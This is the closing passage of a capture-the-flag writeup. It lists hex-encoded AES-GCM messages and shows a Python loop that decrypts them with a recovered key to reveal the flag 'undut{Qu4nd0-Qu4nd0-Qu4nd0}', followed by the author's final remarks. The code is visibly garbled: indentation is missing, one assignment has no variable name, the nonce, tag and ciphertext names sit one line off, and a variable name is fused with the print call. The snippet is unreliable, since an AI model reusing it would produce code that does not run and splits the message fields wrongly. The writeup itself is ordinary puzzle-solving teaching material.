bytearray.fromhex('0795cb3178bf69c87bdbab269a0b512a025229157985226ba9a3bb899e6f6697b49af144ca13c4876e23974bf701f683b5'),
bytearray.fromhex('9108e7344aaedb313986a0962957c82ff1b7f694233957b255de910da50e783b275d75f115d061ce41389b5bcf1f499fe2f77720a39475a9ad883fb9f165fca99959697c6c6d5f5061cf8320b34b3cb9040a05cb7e0a5f0b53b0511d5510aafa33a623bafa1b90455b0a389c0cb774334c8780e755fdb0036ac57a840498755e3f941367cc169375c2cf94532b3f8f4fbd9146cba23691e5708a6bb76de3019e4a5ea456af820f49bec822943cfbb9768bbeb1df5c06685e4319df7d8318bbfdc0a6dcd8f39c9d79822ddb3f5e4d8af66c9e134cc03e9b0b749901b0b58275af5967b3f15939321ac7f0a7df86c4b42e931bc8766de9c1c7777b021c56cd2482ecb3842e4e509b310c71a8f37679e7775857559075198de8d78d7907e834d591f6cb045e174458505a82411899d1e2f112ae299f70831df02112eda56b38bd73d4e5edab6080e3955ce18a1ea294920776d71a79cc347f0b57f499fb6a5cbb8335b6250109528b779828f93938c5ee428c1e43624c839841b2020d2ebdf8a8a926568e24cc3f3db917cc96e0ff92866f50a8551e7b408d7b82494da4b007fd99fc574c9a7d09a80144114bc88e2ce65fb3e29cf967f51a75b2f4e1b84ee72c46a1945f41b732872edb93d9883a82c027a88b51ba2a98446fa5b243b439ca67cc1f1a154c8042b136ab183b355a371cd3d19a1e1e137df9fb79ac1ff77befba0312a7d993a9925aaf8f0501b4121dd50e9fb96958ac217e0bec812350507e9f6a4cc15aff29f1fa0fb4f6fc454e18a914e740853fafe58be9759caa4feb50786aa16fd7199b4006bbcc17f60bdd35834cc8a9cc7d107251a3c637d9b10442717c4f9311556395398e00ff5f6cb146f7074eb1492c092811ed0faeb6ad9acdde9ba002ee253b61440507c2f509fd784931b77ca6bf13b4cd1e873b2f333d'),
bytearray.fromhex('4da5886f424edcd0add35b27ac40cdfe56ebb6436bb103cccda381b463b7ca1461aa46ac7417bd418c8c5abcee1b4c561f979e26d2d1f0'),
bytearray.fromhex('06d88d5596b7adb80f542e18ecfd22b1e723be700c176490823a9b7742b1e7729545bc74f9ffad3f3376b77209a9982b24cd1c006cc112cb280b633f93cf91c65e343104b3d5e3f89573861520d183a17f45aea2e880c11a9856b0626e660bcafb2e4c8fa9465c7d4308a612821b8593048d937bd502ef710d2bead1d2ba336bdf5713f3806e27af4d471dc31a3a419eeab9595e3771b43b12d0e81652a3584e8b95b3e5ab9953f9e0486a215d0e55c1b6649b587780b526a63a6959e5b4eac5fb4051336957d07664ba5ac345eb310b8035fae079465d9907cd40cfe8b3a1942f336181426368a81e419641209f8662160a2e84412a812e9134c1dc634c39e414f79ad16a7b379be0bc58b146979f0c652eb823b7d32557c6774bb815619629103c48f8283ce7e61d34fa9ef3e862ad256d185c32b0a5f05256dff57cc68ac2e6bc572cf472a239dc9d52e96586a34e625d235f8a25f76099478ab5aeaeae13f279703c648bef26ce41468be29380649dedff1742a6cbf7f3622d140b1e8f8f96ce43f39b32f5bea2fdac04991882184eb122c984b7c30799e3eee4ada346fdf1cd32a76e19c9eead5a7fbf2dba7268'),
bytearray.fromhex('f14388c157f9df8cf84f854e2ad4d915ed75145340d57d037f118fca904b5ab98b2d2cc2ad548913eb1c52c0e028869b9d08be8110bd40b5b0f69edc35'),
bytearray.fromhex('a304902118d64673d9ba1f1472c39f4ddcd1624bac7e997c0091b8abdcf32fcd681f941eb2ad52163cba1fd0cf2c94f72ce3a93442fa9c0de7837cd485'),
]
for m in aes_msgs:
try:
= m[:16]
nonce = m[16:32]
tag = m[32:]
ciphertext print(decrypt_AES_GCM(aes_key, nonce, tag, ciphertext))
except Exception as e:
print(e)
Most of the messages are not particularly interesting, except for the last one:
undut{Qu4nd0-Qu4nd0-Qu4nd0}
And there it is, the flag: undut{Qu4nd0-Qu4nd0-Qu4nd0}
!
Final words
As always with CTFs, the path to finding the solution is never straightforward. This writeup is just the steps to actually solve the challange, but the path to get here was long and full of dead ends and head scratching.
Again, thanks to the organizers for the great CTF and thank you for reading this writeup! I hope you enjoyed it!
If you have feedback or questions, feel free to reach out to me on Twitter